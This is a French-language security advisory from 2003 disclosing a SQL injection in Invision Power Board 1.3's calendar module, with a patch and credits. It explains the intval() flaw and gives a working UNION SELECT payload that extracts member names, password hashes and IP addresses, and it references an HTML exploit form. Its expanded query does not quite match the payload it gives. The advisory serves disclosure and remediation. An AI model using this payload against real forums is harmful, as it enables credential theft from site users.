Invision Power Board Injection SQL ********************************** Informations : °°°°°°°°°°°°°° Langage : PHP Version : 1.3 FINAL Website : http://www.invisionboard.com Problème : Injection SQL Developpement : °°°°°°°°°°°°°°° Invision Power Board est un forum fonctionnant avec une base de donnée SQL. Ce forum souffre d'un problème d'injection SQL permettant d'exécuter une requête sql SELECT. Le problème se trouve dans le calendrier. Dans le fichier sources/calendar.php, on voit le code suivant : ---------------------------------------------------------------------------------------------------------------------------- [...] $this->chosen_month = ( ! intval($ibforums->input['m']) ) ? $this->now_date['mon'] : $ibforums->input['m']; [...] $recurring = array(); [...] $DB->query("SELECT * FROM ibf_calendar_events WHERE event_repeat=1 AND ( repeat_unit IN ('w','m') OR (repeat_unit='y' AND month={$this->chosen_month}) ) "); while ( $rec = $DB->fetch_row() ) { $recurring[] = $rec; } $events = array(); $DB->query("SELECT * FROM ibf_calendar_events WHERE event_repeat <> 1 AND month={$this->chosen_month} AND year={$this->chosen_year} OR (event_ranged=1 AND ( unix_stamp < $timenow AND end_unix_stamp > $timenow ) ) "); ---------------------------------------------------------------------------------------------------------------------------- $ibforums->input['m'] est la variable $m qui a été envoyée par l'utilisateur. On voit que si intval($ibforums->input['m']) ne retourne pas de valeur numérique, alors la variable $this->chosen_month vaudra le numero du mois auquel nous sommes. Si par contre il retourne une valeur numérique, alors $this->chosen_month aura comme valeur celle rentrée par l'utilisateur, celle de $ibforums->input['m']. Ceci aura comme conséquence que, si on entre comme valeur à $m par exemple 'aaaaa', $this->chosen_month se verra attribuer une valeur par défaut au script. A priori on ne peut donc pas entrer autre chose que des chiffres. Mais, si intval('aaaa') ne retourne pas de valeur numérique, intval('2aaaaa') en retourne une ! Il suffit que l'argument COMMENCE par un chiffre. Donc si on donne à $m la valeur '2hophophop', $this->chosen_month vaudra '2hophophop'. Voyons maintenant la suite. On exécute après la requête suivante : SELECT * FROM ibf_calendar_events WHERE event_repeat=1 AND ( repeat_unit IN ('w','m') OR (repeat_unit='y' AND month={$this->chosen_month}) ) où on retrouve justement notre variable $this->chosen_month insuffisament filtrée ! Comme c'est une requête SELECT, on peut par exemple utiliser la clause UNION. Comme le résultat de la deuxième requête doit être du même type que la première, et que dans la première on extrait tout (*) les éléments de la table ibf_calendar_events, on a besoin de connaître sa structure, qui est : ------------------------------------------------------- CREATE TABLE ibf_calendar_events ( eventid mediumint(8) NOT NULL auto_increment, userid mediumint(8) NOT NULL default '0', year int(4) NOT NULL default '2002', month int(2) NOT NULL default '1', mday int(2) NOT NULL default '1', title varchar(254) NOT NULL default 'no title', event_text text NOT NULL, read_perms varchar(254) NOT NULL default '*', unix_stamp int(10) NOT NULL default '0', priv_event tinyint(1) NOT NULL default '0', show_emoticons tinyint(1) NOT NULL default '1', rating smallint(2) NOT NULL default '1', event_ranged tinyint(1) NOT NULL default '0', event_repeat tinyint(1) NOT NULL default '0', repeat_unit char(2) NOT NULL default '', end_day int(2) default NULL, end_month int(2) default NULL, end_year int(4) default NULL, end_unix_stamp int(10) default NULL, event_bgcolor varchar(32) NOT NULL default '', event_color varchar(32) NOT NULL default '', PRIMARY KEY (eventid), KEY unix_stamp (unix_stamp) ); ------------------------------------------------------- On peut donc retenir que le résultat de la requête devra être du type : INT,INT,INT,INT,INT,VARCHAR,TEXT,VARCHAR,INT,INT,INT,INT,INT,INT,CHAR(2),INT,INT,INT,INT,VARCHAR,VARCHAR Donc si on donne à $this->chosen_month (à $m) la valeur : 2 )) UNION SELECT 0,0,0,0,m.id,m.name,m.password,m.ip_address,0,0,0,0,0,0,0,0,0,0,0,0,0 FROM ibf_members m WHERE 1/* la requête exécutée sera : SELECT * FROM ibf_calendar_events WHERE event_repeat=1 AND ( repeat_unit IN ('w','m') OR (repeat_unit='y' AND month=2 )) UNION SELECT 0,0,0,0,m.id,m.name,m.password,m.ip_address,0,0,0,0,0,0,0,0,0,0,f.id,f.name,f.password FROM ibf_members m,ibf_forums f WHERE 1/*) et ces deux requêtes seront exécutées : - SELECT * FROM ibf_calendar_events WHERE event_repeat=1 AND ( repeat_unit IN ('w','m') OR (repeat_unit='y' AND month=2 )) - SELECT 0,0,0,0,m.id,m.name,m.password,m.ip_address,0,0,0,0,0,0,0,0,0,0,0,0,0 FROM ibf_members m WHERE 1 La deuxième requête renvois quatre 0, puis l'id, le nom, le mot de passe et l'ip du membre puis treize 0 pour chaque membre. ATTENTION ! La requête est exécutée mais rien n'est affiché ! En effet, juste après dans le script une autre requête est exécutée : SELECT * FROM ibf_calendar_events WHERE event_repeat <> 1 AND month={$this->chosen_month} AND year={$this->chosen_year} OR (event_ranged=1 AND ( unix_stamp < $timenow AND end_unix_stamp > $timenow ) ) ce qui donne l'exécution de : SELECT * FROM ibf_calendar_events WHERE event_repeat <> 1 AND month= 2 )) UNION SELECT 0,0,0,0,m.id,m.name,m.password,m.ip_address,0,0,0,0,0,0,0,0,0,0,0,0,0 FROM ibf_members m WHERE 1/* ce qui génére une erreur. Mais la requête est exécutée une première fois, et il y a bien sûr d'autres utilisations possibles. Voici un outil simple pour exécuter des requêtes : -------------------------------------------- IPBexploit.html ---------------------------------------------------------------- Invision Power Board Free 1.3 FINAL SQL Injection Problems
IPB directory URL :

SQL SELECT REQUEST :

Attention : The request result MUST have this structure :

INT,INT,INT,INT,INT,STR,STR,STR,INT,INT,INT,INT,INT,INT,CHAR(2),INT,INT,INT,INT,STR,STR




A patch can be found on phpSecure.

----------------------------------------------------------------------------------------------------------------------------- Solution : °°°°°°°°°° Un patch est disponible sur http://www.phpsecure.info. Dans sources/calendar.php, remplacer les lignes : -------------------------------------------------------------------------------------------------------------------- $this->chosen_month = ( ! intval($ibforums->input['m']) ) ? $this->now_date['mon'] : $ibforums->input['m']; $this->chosen_year = ( ! intval($ibforums->input['y']) ) ? $this->now_date['year'] : $ibforums->input['y']; -------------------------------------------------------------------------------------------------------------------- par : ---------------------------------------------------------------------------------------------------------------------------- $this->chosen_month = ( ! intval($ibforums->input['m']) ) ? $this->now_date['mon'] : intval($ibforums->input['m']); $this->chosen_year = ( ! intval($ibforums->input['y']) ) ? $this->now_date['year'] : intval($ibforums->input['y']); ---------------------------------------------------------------------------------------------------------------------------- Patch officiel : http://forums.invisionpower.com/index.php?act=ST&f=1&t=108786 Credits : °°°°°°°°° Auteur : frog-m@n E-mail : leseulfrog@hotmail.com Website : http://www.phpsecure.info Date : 30/12/2003 Merci à NorXbe de http://www.ihcteam.org pour m'avoir permis de tester mon patch.